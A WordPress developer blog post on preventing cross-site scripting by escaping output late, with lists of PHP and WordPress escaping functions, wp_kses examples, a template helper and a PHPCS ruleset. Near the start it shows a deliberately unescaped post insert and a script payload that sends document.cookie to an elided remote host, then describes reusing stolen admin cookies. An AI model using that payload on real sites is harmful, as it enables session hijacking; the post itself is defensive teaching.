Best guide to security output for WordPress

6 min read
2029

Although we’ve already talked about code injection, we’re carrying on this topic from a slightly different angle today. More recently, cross-site-scripting(XSS) has become part of the code injection category, but this particular vulnerability has its peculiarity, so let’s not waste time and get started.

Cross-site scripting

Cross-site scripting (XSS) is a type of security vulnerability that can be found in some web applications. XSS attacks enable attackers to inject client-side scripts into web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same-origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec up until 2007. XSS effects vary in range from a petty nuisance to significant security risk, depending on the sensitivity of the data handled by the vulnerable site and the nature of any security mitigation implemented by the site’s owner network.

Wikipedia

I prepared one fascinated snippet that adds a new post, with the post type visible inside the admin area:

$post_title   = $_POST['post_title'];
$post_content = $_POST['post_content'];

global $wpdb;

$wpdb->insert(
	$wpdb->posts,
	[
		'ID'           => null,
		'post_type'    => 'entry',
		'post_title'   => $post_title,
		'post_content' => $post_content,
	]
);

Positive cases are when the title and content are a text, but someone might send something special for you. For example, javascript code:

<script>fetch( '.../cakemonster=' + escape(document.cookie) )</script>

What will happen when an admin visits the entry in the admin area? All your cookies will be delivered on a server when an admin visits the entry page.

Why should it bother me? What you can do with these cookies? Nothing special, just log in as the same user to the admin area without login and password.

You can try and see for yourself by following a few simple steps:

  1. Visit the admin panel as a user
  2. Open the developer panel
  3. Go to the Application tab
  4. Go to the Cookies section
  5. Copy 3 cookies from the screenshot to a new window in incognito mode
Late escaping is the most crucial technique to protecting your website from many vulnerabilities. Always escape is the must-have rule for every great developer. - WP Punk

6. Reload the incognito page and you will be logged in

Just remember that feeling.

Escaping functions

It is pretty challenging to protect your site from all kinds of injections, the most harmful in this matter are XSS injections, which are a vast number. Each time, cybercriminals develop more and more new ways to inject you into some code to your site. Fortunately, this is where the second stage of protection comes into effect, which must always be used from the first day of your work with WordPress. One golden rule that you must remember as a developer: you must always escape your output code.

Php escaping functions:

  • (int) $var,
  • (float) $var,
  • intval( mixed $value, int $base = 10 ): int,
  • floatval( mixed $value ): float,
  • number_format(float $num, int $decimals = 0, ?string $decimal_separator = '.', ?string $thousands_separator = ','): string,
  • highlight_string(string $string, bool $return = false): string|bool,
  • json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false,
  • rawurlencode(string $string): string,
  • urlencode( string $value ): string,
  • urlencode_deep( mixed $value ): mixed,

WordPress escaping functions start with esc_*, a few functions start with sanitize_* and wp_kses_*, and a few more:

  • absint( mixed $maybeint ): int,
  • esc_attr__( string $text, string $domain = 'default' ): string,
  • esc_attr_e( string $text, string $domain = 'default' ): string,
  • esc_attr_x( string $text, string $context, string $domain = 'default' ): string,
  • esc_attr( string $text ): string,
  • esc_html__( string $text, string $domain = 'default' ): string,
  • esc_html_e( string $text, string $domain = 'default' ): string,
  • esc_html_x( string $text, string $context, string $domain = 'default' ): string,
  • esc_html( string $text ): string,
  • esc_js( string $text ): string,
  • esc_sql( string|array $data ): string|array,
  • esc_textarea( string $text ): string,
  • esc_url_raw( string $url, string[] $protocols = null ): string,
  • esc_url( string $url, string[] $protocols = null, string $_context = 'display' ): string,
  • sanitize_hex_color( string $color ): string|void,
  • sanitize_hex_color_no_hash( string $color ): string|void,
  • sanitize_html_class( string $class, $fallback = '' ): string,
  • sanitize_key( string $key ): string,
  • sanitize_user_field( string $field, mixed $value, int $user_id, string $context ): mixed,
  • tag_escape( string $tag_name ): string,
  • wp_json_encode(mixed $value, int $flags = 0, int $depth = 512): string|false,
  • wp_kses_allowed_html( string|array $context = '' ): array,
  • wp_kses_data( string $data ): string,
  • wp_kses_post( string $data ): string,
  • wp_kses( string $string, array[]|string $allowed_html, string[] $allowed_protocols = [] ): string,

Late escaping (security output)

When should we escape data? When you print something (echo, print, printf, etc. functions) as late as possible:

<div class="security-block">
	<?php foreach ( $items as $key => $item ) { ?>
		<div class="security-block-item" data-key="<?php echo esc_attr( $key ); ?>">
			<?php echo esc_html( $item ); ?>
		</div>
	<?php } ?>
</div>

esc_html or esc_attr? What is the difference? At the moment these function the almost the same in code, but logically has a different target. The esc_attr you need to use for all HTML attributes when esc_html inside HTML tags. For example:

// Incorrect:
<input type="text" value="<?php echo esc_html( $value ); ?>">
<textarea><?php echo esc_attr( $value ); ?></textarea>

// Correct:
<input type="text" value="<?php echo esc_attr( $value ); ?>">
<textarea><?php echo esc_html( $value ); ?></textarea>

The next problem that you can meet with the late escaping is how to print a variable with HTML code inside? Here the wp_kses help you to protect output as well:

<?php

function get_security_block( $items ) {

	$output  = '';
	$output .= '<div class="security-block">';
	foreach ( $items as $key => $item ) {
		$output .= sprintf(
			'<div class="security-block-item" data-index="%d">%s</div>',
			absint( $key ),
			esc_html( $item )
		);
	}
	$output .= '</div>';

	return $output;
}

function the_security_block( $items ) {

	echo wp_kses(
		get_security_block( $items ),
		[
			'div' => [
				'class'      => true,
				'data-index' => true,
			],
		]
	);
}

How to secure print an HTML variable with a bunch of unknown HTML tags and attributes inside? For example, WYSIWYG content can contain too many different HTML tags. The wp_kses function here can be longer than the Saturn ring. You can use the wp_kses_post that leave only tags related to a typical content inside your HTML code:

<?php

function the_security_block( $items ) {

	echo wp_kses_post( get_security_block( $items ) );
}

How to deal with templates?

Bad smell if you have inside your code similar code:

<?php

namespace WPPunk\Security;

class PageOptions {

	public function view() {
		// million lines before

		$output .= '<div class="security-block">';
		foreach ( $items as $key => $item ) {
			$output .= sprintf(
				'<div class="security-block-item" data-index="%d">%s</div>',
				absint( $key ),
				esc_html( $item )
			);
		}
		$output .= '</div>';

		// million lines later

		echo $output;
	}
}

What problems with the code above? Technically our $output variable isn’t PHP output, so we can’t see WPCS escaping suggestions. The chance to forget about escaping a variable is too high. So, the best approach is to create a special template function. An example of a rendering templates function:

<?php

namespace WPPunk\Security;

function render( string $template_name, array $args = [] ): string {

	$template_path = realpath( WPPUNK_PLUGIN_PATH . '/templates/' . $template_name . '.php' );
	$args          = (array) apply_filters( 'wppunk_template_args', $args, $template_name, $template_path );
	$template_path = (string) apply_filters( 'wppunk_template_path', $template_path, $args );

	if ( empty( $template_path ) ) {
		throw new \Exception( "Path for the {$template_name} wasn't found" );
	}
	
	$created_vars_count = extract( $args, EXTR_SKIP ); // phpcs:ignore WordPress.PHP.DontExtract
	// Protecting existing scope from modification.
	if ( count( $args ) !== $created_vars_count ) {
		throw new \Exception( 'Extraction failed: variable names are clashing with the existing ones.' );
	}

	ob_start();
	require $template_path;

	return ob_get_clean();
}

The view method becomes:

<?php

namespace WPPunk\Security;

class PageOptions {

	public function view() {

		// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
		echo render( 'admin/page-options', [ 'items' => $items ] );
	}
}

And the template we can use as simple HTML code with output all variables inside.

Custom escape functions

Let’s create your own escaping function:

<?php

function my_plugin_esc_notice( $notice ) {

	return wp_kses(
		$notice,
		[
			'a'.     => [
				'class'  => [],
				'href'   => [],
				'rel'    => [],
				'target' => [],
			],
			'div'    => [
				'class' => [],
			],
			'strong' => []
		]
	);
}

I hope you already use the WPCS. The last step is to register the function inside your PHPCS configuration the next code:

<?xml version="1.0"?>
<ruleset name="MyCodingStandards">
	<!-- ... -->
	<rule ref="WordPress.Security.EscapeOutput">
		<properties>
			<property name="customEscapingFunctions" type="array">
				<element value="my_plugin_esc_notice"/>
			</property>
		</properties>
	</rule>
	<!-- ... -->
</ruleset>

If the content was useful, share it on social networks

Leave a Reply

Your email address will not be published. Required fields are marked *

Subscribe to news. I promise not to spam :)
Follow me, don't be shy